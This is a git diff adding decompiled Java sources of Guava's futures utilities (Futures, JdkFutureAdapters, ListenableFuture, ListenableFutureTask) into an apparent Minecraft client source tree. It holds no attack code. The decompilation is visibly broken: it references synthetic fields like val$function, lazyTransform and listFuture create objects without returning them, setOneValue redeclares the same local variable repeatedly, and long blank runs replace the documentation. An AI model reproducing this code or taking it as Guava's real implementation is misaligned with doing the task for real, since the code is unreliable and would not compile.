+import java.util.concurrent.Executor;
+import java.util.concurrent.Future;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+import java.util.concurrent.atomic.AtomicInteger;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+public final class Futures
+{
+  private Futures() {}
+  
+  public static <V, X extends Exception> CheckedFuture<V, X> makeChecked(ListenableFuture<V> future, Function<Exception, X> mapper)
+  {
+    return new MappingCheckedFuture((ListenableFuture)Preconditions.checkNotNull(future), mapper);
+  }
+  
+  private static abstract class ImmediateFuture<V>
+    implements ListenableFuture<V>
+  {
+    private static final Logger log = Logger.getLogger(ImmediateFuture.class.getName());
+    
+    private ImmediateFuture() {}
+    
+    public void addListener(Runnable listener, Executor executor) {
+      Preconditions.checkNotNull(listener, "Runnable was null.");
+      Preconditions.checkNotNull(executor, "Executor was null.");
+      try {
+        executor.execute(listener);
+      }
+      catch (RuntimeException e)
+      {
+        log.log(Level.SEVERE, "RuntimeException while executing runnable " + listener + " with executor " + executor, e);
+      }
+    }
+    
+
+    public boolean cancel(boolean mayInterruptIfRunning)
+    {
+      return false;
+    }
+    
+    public abstract V get()
+      throws ExecutionException;
+    
+    public V get(long timeout, TimeUnit unit) throws ExecutionException
+    {
+      Preconditions.checkNotNull(unit);
+      return get();
+    }
+    
+    public boolean isCancelled()
+    {
+      return false;
+    }
+    
+
+
+    public boolean isDone() { return true; }
+  }
+  
+  private static class ImmediateSuccessfulFuture<V> extends Futures.ImmediateFuture<V> {
+    @Nullable
+    private final V value;
+    
+    ImmediateSuccessfulFuture(@Nullable V value) {
+      super();
+      this.value = value;
+    }
+    
+    public V get()
+    {
+      return value;
+    }
+  }
+  
+  private static class ImmediateSuccessfulCheckedFuture<V, X extends Exception> extends Futures.ImmediateFuture<V> implements CheckedFuture<V, X> {
+    @Nullable
+    private final V value;
+    
+    ImmediateSuccessfulCheckedFuture(@Nullable V value) {
+      super();
+      this.value = value;
+    }
+    
+    public V get()
+    {
+      return value;
+    }
+    
+    public V checkedGet()
+    {
+      return value;
+    }
+    
+    public V checkedGet(long timeout, TimeUnit unit)
+    {
+      Preconditions.checkNotNull(unit);
+      return value;
+    }
+  }
+  
+  private static class ImmediateFailedFuture<V> extends Futures.ImmediateFuture<V> {
+    private final Throwable thrown;
+    
+    ImmediateFailedFuture(Throwable thrown) {
+      super();
+      this.thrown = thrown;
+    }
+    
+    public V get() throws ExecutionException
+    {
+      throw new ExecutionException(thrown);
+    }
+  }
+  
+  private static class ImmediateCancelledFuture<V> extends Futures.ImmediateFuture<V> {
+    private final CancellationException thrown;
+    
+    ImmediateCancelledFuture() {
+      super();
+      thrown = new CancellationException("Immediate cancelled future.");
+    }
+    
+    public boolean isCancelled()
+    {
+      return true;
+    }
+    
+    public V get()
+    {
+      throw AbstractFuture.cancellationExceptionWithCause("Task was cancelled.", thrown);
+    }
+  }
+  
+  private static class ImmediateFailedCheckedFuture<V, X extends Exception> extends Futures.ImmediateFuture<V> implements CheckedFuture<V, X>
+  {
+    private final X thrown;
+    
+    ImmediateFailedCheckedFuture(X thrown)
+    {
+      super();
+      this.thrown = thrown;
+    }
+    
+    public V get() throws ExecutionException
+    {
+      throw new ExecutionException(thrown);
+    }
+    
+    public V checkedGet() throws Exception
+    {
+      throw thrown;
+    }
+    
+    public V checkedGet(long timeout, TimeUnit unit) throws Exception
+    {
+      Preconditions.checkNotNull(unit);
+      throw thrown;
+    }
+  }
+  
+
+
+
+
+
+  public static <V> ListenableFuture<V> immediateFuture(@Nullable V value)
+  {
+    return new ImmediateSuccessfulFuture(value);
+  }
+  
+
+
+
+
+
+
+
+
+  public static <V, X extends Exception> CheckedFuture<V, X> immediateCheckedFuture(@Nullable V value)
+  {
+    return new ImmediateSuccessfulCheckedFuture(value);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static <V> ListenableFuture<V> immediateFailedFuture(Throwable throwable)
+  {
+    Preconditions.checkNotNull(throwable);
+    return new ImmediateFailedFuture(throwable);
+  }
+  
+
+
+
+
+
+  public static <V> ListenableFuture<V> immediateCancelledFuture()
+  {
+    return new ImmediateCancelledFuture();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static <V, X extends Exception> CheckedFuture<V, X> immediateFailedCheckedFuture(X exception)
+  {
+    Preconditions.checkNotNull(exception);
+    return new ImmediateFailedCheckedFuture(exception);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <V> ListenableFuture<V> withFallback(ListenableFuture<? extends V> input, FutureFallback<? extends V> fallback)
+  {
+    return withFallback(input, fallback, MoreExecutors.sameThreadExecutor());
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <V> ListenableFuture<V> withFallback(ListenableFuture<? extends V> input, FutureFallback<? extends V> fallback, Executor executor)
+  {
+    Preconditions.checkNotNull(fallback);
+    return new FallbackFuture(input, fallback, executor);
+  }
+  
+
+
+  private static class FallbackFuture<V>
+    extends AbstractFuture<V>
+  {
+    private volatile ListenableFuture<? extends V> running;
+    
+
+
+    FallbackFuture(ListenableFuture<? extends V> input, final FutureFallback<? extends V> fallback, Executor executor)
+    {
+      running = input;
+      Futures.addCallback(running, new FutureCallback()
+      {
+        public void onSuccess(V value) {
+          set(value);
+        }
+        
+        public void onFailure(Throwable t)
+        {
+          if (isCancelled()) {
+            return;
+          }
+          try {
+            running = fallback.create(t);
+            if (isCancelled()) {
+              running.cancel(wasInterrupted());
+              return;
+            }
+            Futures.addCallback(running, new FutureCallback()
+            {
+              public void onSuccess(V value) {
+                set(value);
+              }
+              
+              public void onFailure(Throwable t)
+              {
+                if (running.isCancelled()) {
+                  cancel(false);
+                } else
+                  setException(t); } }, MoreExecutors.sameThreadExecutor());
+
+          }
+          catch (Throwable e)
+          {
+            setException(e); } } }, executor);
+    }
+    
+
+
+
+    public boolean cancel(boolean mayInterruptIfRunning)
+    {
+      if (super.cancel(mayInterruptIfRunning)) {
+        running.cancel(mayInterruptIfRunning);
+        return true;
+      }
+      return false;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <I, O> ListenableFuture<O> transform(ListenableFuture<I> input, AsyncFunction<? super I, ? extends O> function)
+  {
+    return transform(input, function, MoreExecutors.sameThreadExecutor());
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <I, O> ListenableFuture<O> transform(ListenableFuture<I> input, AsyncFunction<? super I, ? extends O> function, Executor executor)
+  {
+    ChainingListenableFuture<I, O> output = new ChainingListenableFuture(function, input, null);
+    
+    input.addListener(output, executor);
+    return output;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <I, O> ListenableFuture<O> transform(ListenableFuture<I> input, Function<? super I, ? extends O> function)
+  {
+    return transform(input, function, MoreExecutors.sameThreadExecutor());
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <I, O> ListenableFuture<O> transform(ListenableFuture<I> input, Function<? super I, ? extends O> function, Executor executor)
+  {
+    Preconditions.checkNotNull(function);
+    AsyncFunction<I, O> wrapperFunction = new AsyncFunction()
+    {
+      public ListenableFuture<O> apply(I input) {
+        O output = val$function.apply(input);
+        return Futures.immediateFuture(output);
+      }
+    };
+    return transform(input, wrapperFunction, executor);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <I, O> Future<O> lazyTransform(Future<I> input, final Function<? super I, ? extends O> function)
+  {
+    Preconditions.checkNotNull(input);
+    Preconditions.checkNotNull(function);
+    new Future()
+    {
+      public boolean cancel(boolean mayInterruptIfRunning)
+      {
+        return val$input.cancel(mayInterruptIfRunning);
+      }
+      
+      public boolean isCancelled()
+      {
+        return val$input.isCancelled();
+      }
+      
+      public boolean isDone()
+      {
+        return val$input.isDone();
+      }
+      
+      public O get() throws InterruptedException, ExecutionException
+      {
+        return applyTransformation(val$input.get());
+      }
+      
+      public O get(long timeout, TimeUnit unit)
+        throws InterruptedException, ExecutionException, TimeoutException
+      {
+        return applyTransformation(val$input.get(timeout, unit));
+      }
+      
+      private O applyTransformation(I input) throws ExecutionException {
+        try {
+          return function.apply(input);
+        } catch (Throwable t) {
+          throw new ExecutionException(t);
+        }
+      }
+    };
+  }
+  
+
+
+
+
+
+  private static class ChainingListenableFuture<I, O>
+    extends AbstractFuture<O>
+    implements Runnable
+  {
+    private AsyncFunction<? super I, ? extends O> function;
+    
+
+
+
+
+    private ListenableFuture<? extends I> inputFuture;
+    
+
+
+
+
+    private volatile ListenableFuture<? extends O> outputFuture;
+    
+
+
+
+    private final CountDownLatch outputCreated = new CountDownLatch(1);
+    
+
+    private ChainingListenableFuture(AsyncFunction<? super I, ? extends O> function, ListenableFuture<? extends I> inputFuture)
+    {
+      this.function = ((AsyncFunction)Preconditions.checkNotNull(function));
+      this.inputFuture = ((ListenableFuture)Preconditions.checkNotNull(inputFuture));
+    }
+    
+
+
+
+
+    public boolean cancel(boolean mayInterruptIfRunning)
+    {
+      if (super.cancel(mayInterruptIfRunning))
+      {
+
+        cancel(inputFuture, mayInterruptIfRunning);
+        cancel(outputFuture, mayInterruptIfRunning);
+        return true;
+      }
+      return false;
+    }
+    
+    private void cancel(@Nullable Future<?> future, boolean mayInterruptIfRunning)
+    {
+      if (future != null) {
+        future.cancel(mayInterruptIfRunning);
+      }
+    }
+    
+    public void run()
+    {
+      try {
+        I sourceResult;
+        try {
+          sourceResult = Uninterruptibles.getUninterruptibly(inputFuture);
+
+        }
+        catch (CancellationException e)
+        {
+          cancel(false); return;
+        }
+        catch (ExecutionException e)
+        {
+          setException(e.getCause()); return;
+        }
+        
+
+        final ListenableFuture<? extends O> outputFuture = this.outputFuture = (ListenableFuture)Preconditions.checkNotNull(function.apply(sourceResult), "AsyncFunction may not return null.");
+        
+
+        if (isCancelled()) {
+          outputFuture.cancel(wasInterrupted());
+          this.outputFuture = null;
+        }
+        else {
+          outputFuture.addListener(new Runnable()
+          {
+            public void run() {
+              try {
+                set(Uninterruptibles.getUninterruptibly(outputFuture));
+
+              }
+              catch (CancellationException e)
+              {
+                cancel(false);
+              }
+              catch (ExecutionException e)
+              {
+                setException(e.getCause());
+              }
+              finally {
+                outputFuture = null; } } }, MoreExecutors.sameThreadExecutor());
+        }
+        
+      }
+      catch (UndeclaredThrowableException e)
+      {
+        setException(e.getCause());
+      }
+      catch (Throwable t)
+      {
+        setException(t);
+      }
+      finally {
+        function = null;
+        inputFuture = null;
+        
+        outputCreated.countDown();
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <V> ListenableFuture<V> dereference(ListenableFuture<? extends ListenableFuture<? extends V>> nested)
+  {
+    return transform(nested, DEREFERENCER);
+  }
+  
+
+
+
+  private static final AsyncFunction<ListenableFuture<Object>, Object> DEREFERENCER = new AsyncFunction()
+  {
+    public ListenableFuture<Object> apply(ListenableFuture<Object> input) {
+      return input;
+    }
+  };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @Beta
+  public static <V> ListenableFuture<List<V>> allAsList(ListenableFuture<? extends V>... futures)
+  {
+    return listFuture(ImmutableList.copyOf(futures), true, MoreExecutors.sameThreadExecutor());
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @Beta
+  public static <V> ListenableFuture<List<V>> allAsList(Iterable<? extends ListenableFuture<? extends V>> futures)
+  {
+    return listFuture(ImmutableList.copyOf(futures), true, MoreExecutors.sameThreadExecutor());
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static <V> ListenableFuture<V> nonCancellationPropagating(ListenableFuture<V> future)
+  {
+    return new NonCancellationPropagatingFuture(future);
+  }
+  
+
+  private static class NonCancellationPropagatingFuture<V>
+    extends AbstractFuture<V>
+  {
+    NonCancellationPropagatingFuture(final ListenableFuture<V> delegate)
+    {
+      Preconditions.checkNotNull(delegate);
+      Futures.addCallback(delegate, new FutureCallback()
+      {
+        public void onSuccess(V result) {
+          set(result);
+        }
+        
+        public void onFailure(Throwable t)
+        {
+          if (delegate.isCancelled()) {
+            cancel(false);
+          } else
+            setException(t); } }, MoreExecutors.sameThreadExecutor());
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @Beta
+  public static <V> ListenableFuture<List<V>> successfulAsList(ListenableFuture<? extends V>... futures)
+  {
+    return listFuture(ImmutableList.copyOf(futures), false, MoreExecutors.sameThreadExecutor());
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @Beta
+  public static <V> ListenableFuture<List<V>> successfulAsList(Iterable<? extends ListenableFuture<? extends V>> futures)
+  {
+    return listFuture(ImmutableList.copyOf(futures), false, MoreExecutors.sameThreadExecutor());
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @Beta
+  public static <T> ImmutableList<ListenableFuture<T>> inCompletionOrder(Iterable<? extends ListenableFuture<? extends T>> futures)
+  {
+    ConcurrentLinkedQueue<AsyncSettableFuture<T>> delegates = Queues.newConcurrentLinkedQueue();
+    
+    ImmutableList.Builder<ListenableFuture<T>> listBuilder = ImmutableList.builder();
+    
+
+
+
+
+
+
+
+
+
+    SerializingExecutor executor = new SerializingExecutor(MoreExecutors.sameThreadExecutor());
+    for (final ListenableFuture<? extends T> future : futures) {
+      AsyncSettableFuture<T> delegate = AsyncSettableFuture.create();
+      
+      delegates.add(delegate);
+      future.addListener(new Runnable()
+      {
+        public void run() { ((AsyncSettableFuture)val$delegates.remove()).setFuture(future); } }, executor);
+      
+
+      listBuilder.add(delegate);
+    }
+    return listBuilder.build();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <V> void addCallback(ListenableFuture<V> future, FutureCallback<? super V> callback)
+  {
+    addCallback(future, callback, MoreExecutors.sameThreadExecutor());
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <V> void addCallback(ListenableFuture<V> future, final FutureCallback<? super V> callback, Executor executor)
+  {
+    Preconditions.checkNotNull(callback);
+    Runnable callbackListener = new Runnable()
+    {
+      public void run()
+      {
+        V value;
+        try
+        {
+          value = Uninterruptibles.getUninterruptibly(val$future);
+        } catch (ExecutionException e) {
+          callback.onFailure(e.getCause());
+          return;
+        } catch (RuntimeException e) {
+          callback.onFailure(e);
+          return;
+        } catch (Error e) {
+          callback.onFailure(e);
+          return;
+        }
+        callback.onSuccess(value);
+      }
+    };
+    future.addListener(callbackListener, executor);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <V, X extends Exception> V get(Future<V> future, Class<X> exceptionClass)
+    throws Exception
+  {
+    Preconditions.checkNotNull(future);
+    Preconditions.checkArgument(!RuntimeException.class.isAssignableFrom(exceptionClass), "Futures.get exception type (%s) must not be a RuntimeException", new Object[] { exceptionClass });
+    
+    try
+    {
+      return future.get();
+    } catch (InterruptedException e) {
+      Thread.currentThread().interrupt();
+      throw newWithCause(exceptionClass, e);
+    } catch (ExecutionException e) {
+      wrapAndThrowExceptionOrError(e.getCause(), exceptionClass);
+      throw new AssertionError();
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <V, X extends Exception> V get(Future<V> future, long timeout, TimeUnit unit, Class<X> exceptionClass)
+    throws Exception
+  {
+    Preconditions.checkNotNull(future);
+    Preconditions.checkNotNull(unit);
+    Preconditions.checkArgument(!RuntimeException.class.isAssignableFrom(exceptionClass), "Futures.get exception type (%s) must not be a RuntimeException", new Object[] { exceptionClass });
+    
+    try
+    {
+      return future.get(timeout, unit);
+    } catch (InterruptedException e) {
+      Thread.currentThread().interrupt();
+      throw newWithCause(exceptionClass, e);
+    } catch (TimeoutException e) {
+      throw newWithCause(exceptionClass, e);
+    } catch (ExecutionException e) {
+      wrapAndThrowExceptionOrError(e.getCause(), exceptionClass);
+      throw new AssertionError();
+    }
+  }
+  
+  private static <X extends Exception> void wrapAndThrowExceptionOrError(Throwable cause, Class<X> exceptionClass) throws Exception
+  {
+    if ((cause instanceof Error)) {
+      throw new ExecutionError((Error)cause);
+    }
+    if ((cause instanceof RuntimeException)) {
+      throw new UncheckedExecutionException(cause);
+    }
+    throw newWithCause(exceptionClass, cause);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <V> V getUnchecked(Future<V> future)
+  {
+    Preconditions.checkNotNull(future);
+    try {
+      return Uninterruptibles.getUninterruptibly(future);
+    } catch (ExecutionException e) {
+      wrapAndThrowUnchecked(e.getCause());
+      throw new AssertionError();
+    }
+  }
+  
+  private static void wrapAndThrowUnchecked(Throwable cause) {
+    if ((cause instanceof Error)) {
+      throw new ExecutionError((Error)cause);
+    }
+    
+
+
+
+
+    throw new UncheckedExecutionException(cause);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static <X extends Exception> X newWithCause(Class<X> exceptionClass, Throwable cause)
+  {
+    List<Constructor<X>> constructors = Arrays.asList(exceptionClass.getConstructors());
+    
+    for (Constructor<X> constructor : preferringStrings(constructors)) {
+      X instance = (Exception)newFromConstructor(constructor, cause);
+      if (instance != null) {
+        if (instance.getCause() == null) {
+          instance.initCause(cause);
+        }
+        return instance;
+      }
+    }
+    throw new IllegalArgumentException("No appropriate constructor for exception of type " + exceptionClass + " in response to chained exception", cause);
+  }
+  
+
+
+  private static <X extends Exception> List<Constructor<X>> preferringStrings(List<Constructor<X>> constructors)
+  {
+    return WITH_STRING_PARAM_FIRST.sortedCopy(constructors);
+  }
+  
+  private static final Ordering<Constructor<?>> WITH_STRING_PARAM_FIRST = Ordering.natural().onResultOf(new Function()
+  {
+    public Boolean apply(Constructor<?> input) {
+      return Boolean.valueOf(Arrays.asList(input.getParameterTypes()).contains(String.class));
+    }
+  }).reverse();
+  
+
+
+
+
+  @Nullable
+  private static <X> X newFromConstructor(Constructor<X> constructor, Throwable cause)
+  {
+    Class<?>[] paramTypes = constructor.getParameterTypes();
+    Object[] params = new Object[paramTypes.length];
+    for (int i = 0; i < paramTypes.length; i++) {
+      Class<?> paramType = paramTypes[i];
+      if (paramType.equals(String.class)) {
+        params[i] = cause.toString();
+      } else if (paramType.equals(Throwable.class)) {
+        params[i] = cause;
+      } else {
+        return null;
+      }
+    }
+    try {
+      return constructor.newInstance(params);
+    } catch (IllegalArgumentException e) {
+      return null;
+    } catch (InstantiationException e) {
+      return null;
+    } catch (IllegalAccessException e) {
+      return null;
+    } catch (InvocationTargetException e) {}
+    return null;
+  }
+  
+  private static abstract interface FutureCombiner<V, C>
+  {
+    public abstract C combine(List<Optional<V>> paramList);
+  }
+  
+  private static class CombinedFuture<V, C> extends AbstractFuture<C> {
+    private static final Logger logger = Logger.getLogger(CombinedFuture.class.getName());
+    
+    ImmutableCollection<? extends ListenableFuture<? extends V>> futures;
+    
+    final boolean allMustSucceed;
+    final AtomicInteger remaining;
+    Futures.FutureCombiner<V, C> combiner;
+    List<Optional<V>> values;
+    final Object seenExceptionsLock = new Object();
+    
+    Set<Throwable> seenExceptions;
+    
+
+    CombinedFuture(ImmutableCollection<? extends ListenableFuture<? extends V>> futures, boolean allMustSucceed, Executor listenerExecutor, Futures.FutureCombiner<V, C> combiner)
+    {
+      this.futures = futures;
+      this.allMustSucceed = allMustSucceed;
+      remaining = new AtomicInteger(futures.size());
+      this.combiner = combiner;
+      values = Lists.newArrayListWithCapacity(futures.size());
+      init(listenerExecutor);
+    }
+    
+
+
+
+    protected void init(Executor listenerExecutor)
+    {
+      addListener(new Runnable()
+      {
+        public void run()
+        {
+          if (isCancelled()) {
+            for (ListenableFuture<?> future : futures) {
+              future.cancel(wasInterrupted());
+            }
+          }
+          
+
+          futures = null;
+          
+
+
+          values = null;
+          
+
+          combiner = null; } }, MoreExecutors.sameThreadExecutor());
+      
+
+
+
+
+
+      if (futures.isEmpty()) {
+        set(combiner.combine(ImmutableList.of()));
+        return;
+      }
+      
+
+      for (int i = 0; i < futures.size(); i++) {
+        values.add(null);
+      }
+      
+
+
+
+
+
+
+
+
+      int i = 0;
+      for (final ListenableFuture<? extends V> listenable : futures) {
+        final int index = i++;
+        listenable.addListener(new Runnable()
+        {
+
+          public void run() { Futures.CombinedFuture.this.setOneValue(index, listenable); } }, listenerExecutor);
+      }
+    }
+    
+
+
+
+
+
+
+
+    private void setExceptionAndMaybeLog(Throwable throwable)
+    {
+      boolean visibleFromOutputFuture = false;
+      boolean firstTimeSeeingThisException = true;
+      if (allMustSucceed)
+      {
+
+        visibleFromOutputFuture = super.setException(throwable);
+        
+        synchronized (seenExceptionsLock) {
+          if (seenExceptions == null) {
+            seenExceptions = Sets.newHashSet();
+          }
+          firstTimeSeeingThisException = seenExceptions.add(throwable);
+        }
+      }
+      
+      if (((throwable instanceof Error)) || ((allMustSucceed) && (!visibleFromOutputFuture) && (firstTimeSeeingThisException)))
+      {
+        logger.log(Level.SEVERE, "input future failed.", throwable);
+      }
+    }
+    
+
+
+    private void setOneValue(int index, Future<? extends V> future)
+    {
+      List<Optional<V>> localValues = values;
+      
+
+
+
+
+
+
+      if ((isDone()) || (localValues == null))
+      {
+
+
+
+        Preconditions.checkState((allMustSucceed) || (isCancelled()), "Future was done before all dependencies completed");
+      }
+      
+      try
+      {
+        Preconditions.checkState(future.isDone(), "Tried to set value from future which is not done");
+        
+        V returnValue = Uninterruptibles.getUninterruptibly(future);
+        if (localValues != null)
+          localValues.set(index, Optional.fromNullable(returnValue));
+      } catch (CancellationException e) { int newRemaining;
+        Futures.FutureCombiner<V, C> localCombiner;
+        if (allMustSucceed)
+        {
+
+          cancel(false); }
+      } catch (ExecutionException e) { int newRemaining;
+        Futures.FutureCombiner<V, C> localCombiner;
+        setExceptionAndMaybeLog(e.getCause()); } catch (Throwable t) { int newRemaining;
+        Futures.FutureCombiner<V, C> localCombiner;
+        setExceptionAndMaybeLog(t); } finally { int newRemaining;
+        Futures.FutureCombiner<V, C> localCombiner;
+        int newRemaining = remaining.decrementAndGet();
+        Preconditions.checkState(newRemaining >= 0, "Less than 0 remaining futures");
+        if (newRemaining == 0) {
+          Futures.FutureCombiner<V, C> localCombiner = combiner;
+          if ((localCombiner != null) && (localValues != null)) {
+            set(localCombiner.combine(localValues));
+          } else {
+            Preconditions.checkState(isDone());
+          }
+        }
+      }
+    }
+  }
+  
+
+
+
+  private static <V> ListenableFuture<List<V>> listFuture(ImmutableList<ListenableFuture<? extends V>> futures, boolean allMustSucceed, Executor listenerExecutor)
+  {
+    new CombinedFuture(futures, allMustSucceed, listenerExecutor, new FutureCombiner()
+    {
+
+      public List<V> combine(List<Optional<V>> values)
+      {
+        List<V> result = Lists.newArrayList();
+        for (Optional<V> element : values) {
+          result.add(element != null ? element.orNull() : null);
+        }
+        return Collections.unmodifiableList(result);
+      }
+    });
+  }
+  
+
+
+  private static class MappingCheckedFuture<V, X extends Exception>
+    extends AbstractCheckedFuture<V, X>
+  {
+    final Function<Exception, X> mapper;
+    
+
+
+    MappingCheckedFuture(ListenableFuture<V> delegate, Function<Exception, X> mapper)
+    {
+      super();
+      
+      this.mapper = ((Function)Preconditions.checkNotNull(mapper));
+    }
+    
+    protected X mapException(Exception e)
+    {
+      return (Exception)mapper.apply(e);
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/util/concurrent/JdkFutureAdapters.java b/src/minecraft/com/google/common/util/concurrent/JdkFutureAdapters.java
new file mode 100644
index 0000000..8e0a0dc
--- /dev/null
+++ b/src/minecraft/com/google/common/util/concurrent/JdkFutureAdapters.java
@@ -0,0 +1,183 @@
+package com.google.common.util.concurrent;
+
+import com.google.common.annotations.Beta;
+import com.google.common.base.Preconditions;
+import java.util.concurrent.Executor;
+import java.util.concurrent.Executors;
+import java.util.concurrent.Future;
+import java.util.concurrent.ThreadFactory;
+import java.util.concurrent.atomic.AtomicBoolean;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+public final class JdkFutureAdapters
+{
+  public static <V> ListenableFuture<V> listenInPoolThread(Future<V> future)
+  {
+    if ((future instanceof ListenableFuture)) {
+      return (ListenableFuture)future;
+    }
+    return new ListenableFutureAdapter(future);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <V> ListenableFuture<V> listenInPoolThread(Future<V> future, Executor executor)
+  {
+    Preconditions.checkNotNull(executor);
+    if ((future instanceof ListenableFuture)) {
+      return (ListenableFuture)future;
+    }
+    return new ListenableFutureAdapter(future, executor);
+  }
+  
+
+
+
+
+  private JdkFutureAdapters() {}
+  
+
+
+
+  private static class ListenableFutureAdapter<V>
+    extends ForwardingFuture<V>
+    implements ListenableFuture<V>
+  {
+    private static final ThreadFactory threadFactory = new ThreadFactoryBuilder().setDaemon(true).setNameFormat("ListenableFutureAdapter-thread-%d").build();
+    
+
+
+
+    private static final Executor defaultAdapterExecutor = Executors.newCachedThreadPool(threadFactory);
+    
+
+    private final Executor adapterExecutor;
+    
+
+    private final ExecutionList executionList = new ExecutionList();
+    
+
+
+    private final AtomicBoolean hasListeners = new AtomicBoolean(false);
+    
+    private final Future<V> delegate;
+    
+    ListenableFutureAdapter(Future<V> delegate)
+    {
+      this(delegate, defaultAdapterExecutor);
+    }
+    
+    ListenableFutureAdapter(Future<V> delegate, Executor adapterExecutor) {
+      this.delegate = ((Future)Preconditions.checkNotNull(delegate));
+      this.adapterExecutor = ((Executor)Preconditions.checkNotNull(adapterExecutor));
+    }
+    
+    protected Future<V> delegate()
+    {
+      return delegate;
+    }
+    
+    public void addListener(Runnable listener, Executor exec)
+    {
+      executionList.add(listener, exec);
+      
+
+
+      if (hasListeners.compareAndSet(false, true)) {
+        if (delegate.isDone())
+        {
+
+          executionList.execute();
+          return;
+        }
+        
+        adapterExecutor.execute(new Runnable()
+        {
+
+
+          public void run()
+          {
+
+            try
+            {
+
+              Uninterruptibles.getUninterruptibly(delegate);
+            } catch (Error e) {
+              throw e;
+            }
+            catch (Throwable e) {}
+            
+
+            executionList.execute();
+          }
+        });
+      }
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/util/concurrent/ListenableFuture.java b/src/minecraft/com/google/common/util/concurrent/ListenableFuture.java
new file mode 100644
index 0000000..cbe7c90
--- /dev/null
+++ b/src/minecraft/com/google/common/util/concurrent/ListenableFuture.java
@@ -0,0 +1,10 @@
+package com.google.common.util.concurrent;
+
+import java.util.concurrent.Executor;
+import java.util.concurrent.Future;
+
+public abstract interface ListenableFuture<V>
+  extends Future<V>
+{
+  public abstract void addListener(Runnable paramRunnable, Executor paramExecutor);
+}
diff --git a/src/minecraft/com/google/common/util/concurrent/ListenableFutureTask.java b/src/minecraft/com/google/common/util/concurrent/ListenableFutureTask.java
new file mode 100644
index 0000000..8f4266d
--- /dev/null
+++ b/src/minecraft/com/google/common/util/concurrent/ListenableFutureTask.java
@@ -0,0 +1,93 @@
+package com.google.common.util.concurrent;
+
+import java.util.concurrent.Callable;
+import java.util.concurrent.Executor;
+import java.util.concurrent.FutureTask;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ListenableFutureTask<V>
+  extends FutureTask<V>
+  implements ListenableFuture<V>
+{
+  private final ExecutionList executionList = new ExecutionList();
+  
+
+
+
+
+
+
+  public static <V> ListenableFutureTask<V> create(Callable<V> callable)
+  {
+    return new ListenableFutureTask(callable);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <V> ListenableFutureTask<V> create(Runnable runnable, @Nullable V result)
+  {
+    return new ListenableFutureTask(runnable, result);
+  }
+  
+  ListenableFutureTask(Callable<V> callable) {
+    super(callable);
+  }
+  
+  ListenableFutureTask(Runnable runnable, @Nullable V result) {
+    super(runnable, result);
+  }
